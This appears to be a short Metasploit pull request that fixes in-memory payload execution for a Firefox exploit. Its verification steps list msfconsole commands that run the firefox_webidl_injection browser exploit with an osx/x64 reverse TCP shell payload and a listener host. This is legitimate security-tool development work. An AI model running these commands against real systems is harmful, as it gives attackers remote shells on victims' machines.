Fix firefox shell_exec in-memory payload execution

Fixes #4374

#### Verification
- [ ] Get a shell from a native payload against `exploits/multi/browser/firefox_webidl_injection`:

        msf> use exploits/multi/browser/firefox_webidl_injection
        msf> set target 1
        msf> set payload osx/x64/shell_reverse_tcp
        msf> set lhost 192.168.0.2
        msf> run